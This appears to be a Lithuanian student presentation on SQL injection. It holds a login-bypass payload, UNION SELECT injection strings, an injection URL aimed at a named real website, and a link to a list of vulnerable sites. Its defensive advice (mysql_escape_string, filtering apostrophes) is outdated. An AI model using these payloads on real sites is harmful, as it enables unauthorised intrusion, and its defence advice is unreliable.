70 likes | 293 Views
Tinkl ų saugumas. M. Kurpytė I. Šaulytė. SQL Injection - tai, galimybė puslapyje, naudojančiam SQL duomenų bazę, įvygdyti norimą užklausą, kurios pagalba galima išgauti bet kokią informaciją esančią duomenų bazėje.
E N D
Tinklų saugumas M. Kurpytė I. Šaulytė
SQL Injection - tai, galimybė puslapyje, naudojančiam SQL duomenų bazę, įvygdyti norimą užklausą, kurios pagalba galima išgauti bet kokią informaciją esančią duomenų bazėje. Kaip pvz turime puslapį, kuriame yra tam tikra forma (pvz: registracijos, prisijungimo), kurioje įvesti duomenys tikrinami/įrašomi i SQL bazę, tai reikš, kad jei svetainė yra pažeidžiama SQL Injection, mes turėsime galimybę įeit į svetainės DB jr jas koreguot ar keisti, galima žinoma ir ištrinti duomenis. Nuo viso to galima apsisaugoti labai paprastai - naudojant tam tikras funkcijas, kurios neleidžia kartotis apostrofom. PHP tam skirta funkcija yra mysql_escape_string(); - ši funkcija visas apostrofas pakeis į \', todėl šios apostrofos nebus skaitomos kaip užklausos sintaksės dalis.Žinoma yra ir kitų būdų kaip apsisaugot. Pvz.: galima su Regular Expresions patikrint ir neleisti įvesti tokių simbolių kaip apostrofos, arba dar galima iš įvedamo teksto ištrinti tokius simbolius. SQL Injection
Šiai užduočiai buvo naudojamas kompiuteris ir prieiga prie interneto. Susirandame pažeidžiamą svetainę ir bandome prisijungti, naudodami vienas iš šių komandų: Login: ' OR ''=’, ir pass: ' OR ''=' SELECT name from users WHERE name='name' AND password='password’ Žinoma tokių komandų yra daug ir galimi visi kiti variantai. Laboratorinis įgyvendinimas
Realaus gyvenimo atvejai • http://data.fuskbugg.se/skalman01/5013_sqli_vuln_sites.txt - čia pateikiamas visas sąrašas svetainių, kurios yra pažeidžiamos SQL Injection. • Pirma buvo bandoma su Admin/adminlogin.asp, o vėliau buvo naudojama SQL eilute kaip pvz.: union select 1,2,3,4,5,6,7,8,9,10 from information_schema.columns— • http://evt-me.com/products.php?cat=2&sub= union select 1,2,3,4,5,6,7,column_name,9,10 from information_schema.columns where table_name=char(117,115,101,114,115)–
Ką išmokome? • Kas yra SQL Injection. • Kaip ji veikia. • Ka reiktų daryti norint išvengti atakų.